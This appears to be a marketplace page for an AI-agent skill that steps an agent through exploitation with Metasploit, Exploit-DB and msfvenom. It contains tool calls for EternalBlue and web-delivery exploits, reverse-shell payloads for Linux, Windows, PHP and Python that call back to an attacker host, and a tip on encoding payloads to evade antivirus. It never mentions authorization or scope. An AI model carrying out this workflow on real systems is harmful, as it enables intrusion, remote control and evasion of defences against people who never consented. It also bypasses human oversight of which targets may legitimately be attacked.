# Exploitation

> Exploitation workflow using Metasploit, msfvenom payload generation, and Exploit-DB search — from vulnerability identification to shell

- Skill: `commonhuman-lab/exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add commonhuman-lab/exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/commonhuman-lab/exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: commonhuman-lab (https://skillmd.com/u/commonhuman-lab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/commonhuman-lab/exploitation

---


# exploitation

Exploitation workflow for NyxStrike. Use this skill when a user has identified a vulnerability and wants to exploit it, generate a payload, search for public exploits, or establish a reverse shell.

## Workflow

### Step 1 — Search for public exploits (exploit_db)

Before running Metasploit, check if a known public exploit exists:

```
run_tool(tool="exploit_db", query="<service> <version>")

# Examples
run_tool(tool="exploit_db", query="Apache 2.4.49 path traversal")
run_tool(tool="exploit_db", query="vsftpd 2.3.4 backdoor")
run_tool(tool="exploit_db", query="SMB ms17-010")
```

### Step 2 — Find and run a Metasploit module

Search for the right module, then run it with the required options:

```
# Run a specific exploit module
run_tool(tool="metasploit", module="exploit/multi/handler",
         options={"PAYLOAD": "linux/x86/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

# EternalBlue (MS17-010)
run_tool(tool="metasploit", module="exploit/windows/smb/ms17_010_eternalblue",
         options={"RHOSTS": "<target>",
                  "PAYLOAD": "windows/x64/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

# Web delivery (stageless payload delivery)
run_tool(tool="metasploit", module="exploit/multi/script/web_delivery",
         options={"TARGET": "0",
                  "PAYLOAD": "python/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})
```

### Step 3 — Generate a standalone payload (msfvenom)

Use msfvenom when you need to deliver a payload outside of Metasploit (file upload, download + execute, etc.):

**Linux reverse shell (ELF):**

```
run_tool(tool="msfvenom",
         payload="linux/x86/meterpreter/reverse_tcp",
         format="elf",
         lhost="<your_ip>",
         lport="4444")
```

**Windows reverse shell (EXE):**

```
run_tool(tool="msfvenom",
         payload="windows/x64/meterpreter/reverse_tcp",
         format="exe",
         lhost="<your_ip>",
         lport="4444")
```

**PHP web shell:**

```
run_tool(tool="msfvenom",
         payload="php/meterpreter_reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")
```

**Python stageless:**

```
run_tool(tool="msfvenom",
         payload="python/meterpreter/reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")
```

## Common Metasploit modules by service

| Service / CVE | Module path |
|---|---|
| MS17-010 EternalBlue | `exploit/windows/smb/ms17_010_eternalblue` |
| vsftpd 2.3.4 backdoor | `exploit/unix/ftp/vsftpd_234_backdoor` |
| Shellshock | `exploit/multi/http/apache_mod_cgi_bash_env_exec` |
| Heartbleed | `auxiliary/scanner/ssl/openssl_heartbleed` |
| Tomcat manager | `exploit/multi/http/tomcat_mgr_upload` |
| HTTP multi-handler | `exploit/multi/handler` |
| Web delivery | `exploit/multi/script/web_delivery` |
| Port scan auxiliary | `auxiliary/scanner/portscan/tcp` |
| SMB login check | `auxiliary/scanner/smb/smb_login` |

## Payload format reference

| OS | Format | Payload example |
|---|---|---|
| Linux 64-bit | `elf` | `linux/x64/meterpreter/reverse_tcp` |
| Linux 32-bit | `elf` | `linux/x86/meterpreter/reverse_tcp` |
| Windows 64-bit | `exe` | `windows/x64/meterpreter/reverse_tcp` |
| Windows 32-bit | `exe` | `windows/meterpreter/reverse_tcp` |
| PHP | `raw` | `php/meterpreter_reverse_tcp` |
| Python | `raw` | `python/meterpreter/reverse_tcp` |
| Java WAR | `war` | `java/meterpreter/reverse_tcp` |
| ASP | `asp` | `windows/meterpreter/reverse_tcp` |

## Tips

- Always start a listener (`exploit/multi/handler`) before delivering a payload.
- Use stageless payloads (`meterpreter_reverse_tcp` not `meterpreter/reverse_tcp`) when the target has egress filtering — they are larger but self-contained.
- Check `exploit_db` before writing custom exploits — public PoCs save time.
- Encode payloads with `-e x86/shikata_ga_nai` via `additional_args` if AV is a concern.

## NyxStrike Tool Reference

| Tool | Use case |
|---|---|
| `exploit_db` | Search public exploits (searchsploit) |
| `metasploit` | Run exploit/auxiliary/post modules |
| `msfvenom` | Generate standalone payloads |